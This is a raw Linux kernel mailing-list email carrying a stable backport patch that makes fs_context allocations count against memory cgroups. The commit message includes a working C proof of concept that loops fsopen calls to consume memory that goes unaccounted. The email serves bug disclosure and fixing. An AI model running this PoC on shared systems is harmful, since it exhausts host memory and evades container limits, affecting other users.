Received: by 2002:a05:6a10:1a4d:0:0:0:0 with SMTP id nk13csp1596418pxb; Tue, 8 Feb 2022 23:33:57 -0800 (PST) X-Google-Smtp-Source: ABdhPJyH22/FBiRpbi9Oi5V7PFbNGDhbgKypj1ny4u4NTsBpwBBnjWSAG7aQOOAJPtMdi+7kKjP9 X-Received: by 2002:a63:4f5a:: with SMTP id p26mr918889pgl.440.1644392036741; Tue, 08 Feb 2022 23:33:56 -0800 (PST) ARC-Seal: i=1; a=rsa-sha256; t=1644392036; cv=none; d=google.com; s=arc-20160816; b=YUB8tPZ3XEyZKiFG/mncaZkgqBHJZ2sCUxGEC0BdnrS05GBtR0ou7cIygjfYLP4gs+ Z/3hC+B6zsc3/XkQvOzkahI9J17xdLCeenC2mQQLrwUIY5nP6GDo0kQZgy4QHQrwltfq 7OWCrz89LM8+aWBqpSSyfAcf1nXBeexkBznX2+ZlYlsu3JZz3ZXk238BK/9e0heArDTO cVvV6AiGKTqbVDUP4RTzdn7SxaBKsgV2aurmDrw1zv4IHrLhA4zfu0X2N4sp5NZ6+POq cXvre1UldbEReVD28CXR5jXTpA44qX7Yn2ihdd3a5Qu1WHbfoKipMKhha0BdCm0CQHm7 aEaQ== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816; h=list-id:precedence:content-transfer-encoding:mime-version :user-agent:references:in-reply-to:message-id:date:subject:cc:to :from:dkim-signature; bh=hTd7xI+RXfvKEwJh8ualxayQs9Ds9nu8xlwK6SEb0No=; b=rOe1kQrs+OuMYN1cCleL+GpC5bBQm8f7MfCIkrGrh0aoL3yNB3MHrBP07iBQBnoKgA 5I/zgHPix8c8xBU87ep2ROc6TfBeaT5rdSEavR5hW/mPBmeKGYf+mpybsJmuId9gEqZs Ni/fx0h2icchMmP69whwTmj+7rQXec9+X73P94rxu7Aq6ONnWs9RWls6Hkc616K84W2x CG2yrTIKVmztbXfwtyZiGxjG41bJHf+JdASiV0+D5wk2mUnkED5Ah17O/oBi7BqZ/qBH TSHzpk4hGT11oB+GbhDKKR3rXOOIVrMbB5+j58sdXOn/bKABgey3/JbQoEaehrJ/hfIF 346Q== ARC-Authentication-Results: i=1; mx.google.com; dkim=pass header.i=@linuxfoundation.org header.s=korg header.b=h3acLb4Y; spf=pass (google.com: domain of linux-kernel-owner@vger.kernel.org designates 23.128.96.18 as permitted sender) smtp.mailfrom=linux-kernel-owner@vger.kernel.org; dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=linuxfoundation.org Return-Path: Received: from vger.kernel.org (vger.kernel.org. [23.128.96.18]) by mx.google.com with ESMTP id h18si8103plf.560.2022.02.08.23.33.43; Tue, 08 Feb 2022 23:33:56 -0800 (PST) Received-SPF: pass (google.com: domain of linux-kernel-owner@vger.kernel.org designates 23.128.96.18 as permitted sender) client-ip=23.128.96.18; Authentication-Results: mx.google.com; dkim=pass header.i=@linuxfoundation.org header.s=korg header.b=h3acLb4Y; spf=pass (google.com: domain of linux-kernel-owner@vger.kernel.org designates 23.128.96.18 as permitted sender) smtp.mailfrom=linux-kernel-owner@vger.kernel.org; dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=linuxfoundation.org Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1386465AbiBGLel (ORCPT + 99 others); Mon, 7 Feb 2022 06:34:41 -0500 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:34820 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S234232AbiBGLXO (ORCPT ); Mon, 7 Feb 2022 06:23:14 -0500 Received: from ams.source.kernel.org (ams.source.kernel.org [IPv6:2604:1380:4601:e00::1]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 2DB94C0401C0; Mon, 7 Feb 2022 03:23:13 -0800 (PST) Received: from smtp.kernel.org (relay.kernel.org [52.25.139.140]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ams.source.kernel.org (Postfix) with ESMTPS id DEC3EB80EC3; Mon, 7 Feb 2022 11:23:11 +0000 (UTC) Received: by smtp.kernel.org (Postfix) with ESMTPSA id 0F557C004E1; Mon, 7 Feb 2022 11:23:09 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=linuxfoundation.org; s=korg; t=1644232990; bh=yyjs4xP38S6pltTHny3dYs+0bVDofK7LasEUo8BHNSA=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From; b=h3acLb4Y1Y4KaUHsqnjDaDsdzkPgeJKoPIF+GAT6WP+qxUtHUii4rtOnbwr3klhAr tq81Eal7AJwX2p5puRDoHcKfzihDAV4Jixg5FKJtwxnKrcNsJmQR6RQVpksF32pGtr mxvp4hLq4pJewQPF/uGzfDyj3/f58Xd5raVLN2u8= From: Greg Kroah-Hartman To: linux-kernel@vger.kernel.org Cc: Greg Kroah-Hartman , stable@vger.kernel.org, Yutian Yang , Shakeel Butt , Michal Hocko , Johannes Weiner , Vladimir Davydov , shenwenbo@zju.edu.cn, Andrew Morton , Linus Torvalds Subject: [PATCH 5.10 24/74] memcg: charge fs_context and legacy_fs_context Date: Mon, 7 Feb 2022 12:06:22 +0100 Message-Id: <20220207103758.031431111@linuxfoundation.org> X-Mailer: git-send-email 2.35.1 In-Reply-To: <20220207103757.232676988@linuxfoundation.org> References: <20220207103757.232676988@linuxfoundation.org> User-Agent: quilt/0.66 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Status: No, score=-7.1 required=5.0 tests=BAYES_00,DKIMWL_WL_HIGH, DKIM_SIGNED,DKIM_VALID,DKIM_VALID_AU,DKIM_VALID_EF,RCVD_IN_DNSWL_HI, SPF_HELO_NONE,SPF_PASS,T_SCC_BODY_TEXT_LINE autolearn=ham autolearn_force=no version=3.4.6 X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on lindbergh.monkeyblade.net Precedence: bulk List-ID: X-Mailing-List: linux-kernel@vger.kernel.org From: Yutian Yang commit bb902cb47cf93b33cd92b3b7a4019330a03ef57f upstream. This patch adds accounting flags to fs_context and legacy_fs_context allocation sites so that kernel could correctly charge these objects. We have written a PoC to demonstrate the effect of the missing-charging bugs. The PoC takes around 1,200MB unaccounted memory, while it is charged for only 362MB memory usage. We evaluate the PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All the limitations including ulimits and sysctl variables are set as default. Specifically, the hard NOFILE limit and nr_open in sysctl are both 1,048,576. /*------------------------- POC code ----------------------------*/ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define STACK_SIZE (8 * 1024) #ifndef __NR_fsopen #define __NR_fsopen 430 #endif static inline int fsopen(const char *fs_name, unsigned int flags) { return syscall(__NR_fsopen, fs_name, flags); } static char thread_stack[512][STACK_SIZE]; int thread_fn(void* arg) { for (int i = 0; i< 800000; ++i) { int fsfd = fsopen("nfs", FSOPEN_CLOEXEC); if (fsfd == -1) { errExit("fsopen"); } } while(1); return 0; } int main(int argc, char *argv[]) { int thread_pid; for (int i = 0; i < 1; ++i) { thread_pid = clone(thread_fn, thread_stack[i] + STACK_SIZE, \ SIGCHLD, NULL); } while(1); return 0; } /*-------------------------- end --------------------------------*/ Link: https://lkml.kernel.org/r/1626517201-24086-1-git-send-email-nglaive@gmail.com Signed-off-by: Yutian Yang Reviewed-by: Shakeel Butt Cc: Michal Hocko Cc: Johannes Weiner Cc: Vladimir Davydov Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- fs/fs_context.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) --- a/fs/fs_context.c +++ b/fs/fs_context.c @@ -231,7 +231,7 @@ static struct fs_context *alloc_fs_conte struct fs_context *fc; int ret = -ENOMEM; - fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL); + fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL_ACCOUNT); if (!fc) return ERR_PTR(-ENOMEM); @@ -631,7 +631,7 @@ const struct fs_context_operations legac */ static int legacy_init_fs_context(struct fs_context *fc) { - fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL); + fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL_ACCOUNT); if (!fc->fs_private) return -ENOMEM; fc->ops = &legacy_fs_context_ops;